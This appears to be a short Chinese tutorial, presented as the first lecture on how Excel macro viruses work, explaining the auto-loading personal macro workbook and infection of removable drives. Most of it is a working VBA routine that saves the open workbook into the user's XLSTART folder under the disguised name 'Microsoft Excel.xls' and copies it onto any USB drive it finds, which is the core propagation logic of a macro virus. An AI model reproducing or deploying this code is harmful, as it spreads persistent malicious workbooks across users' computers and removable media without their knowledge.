小述Excel宏病毒的工作原理_第一讲,个人宏工作薄与移动储存设备的

小述Excel宏病毒的工作原理_第一讲,个人宏工作薄与移动储存设备的感染原理


'大家都知道，在EXCEL中利用软件提供的宏功能，用户可以在工作薄中自己编写自定义函数。
'但是很多人却不知道，其实这些自定义函数都可以放在一个工作薄中,
'这样如果要对自定义函数进行修改的话就很方便了。这个工作薄就是“个人宏工作薄”。
'只要在录制新宏的时候，选择保存在“个人宏工作薄”。
'个人宏工作薄的文件名为“PERSONAL.XLS”,
'在“C:\Documents and Settings\???????\Application Data\Microsoft\Excel\XLSTART”下
'???????为登录的用户名。在不同的计算机上使用时，将PERSONAL.XLS拷贝到上述文件夹。
'打开excel程序时会自动加载PERSONAL.XLS.


Sub copyText()
    n = CreateObject("wscript.network").UserName        '获取当前的系统用户名称
                                                        '赋值Dapp,设定个人宏工作薄
    Dapp = "C:\Documents and Settings\" & n & _
         "\Application Data\Microsoft\Excel\XLSTART\Microsoft Excel.xls"
    Set fs = CreateObject("Scripting.FileSystemObject")
            '如果当前的用户(系统)没有个人宏工作薄,就将当前的工作薄另存为个人宏工作薄
    If Dir(Dapp) = "" Then ActiveWorkbook.SaveAs Dapp
            '扫描一下磁盘,如果发现有移动磁盘,如U盘,就获取盘号.
    For Each ds In fs.Drives
        If ds.DriveType = 1 And ds.DriveLetter > "C" Then d = ds.DriveLetter '
    Next
            '在移动储存设设备里建存一个名为"???.xls"(???为文件名)的工作薄
    If fs.DriveExists(d) And Dir(d & ":\???.xls") = "" Then ActiveWorkbook.SaveAs d & ":\???.xls"
End Sub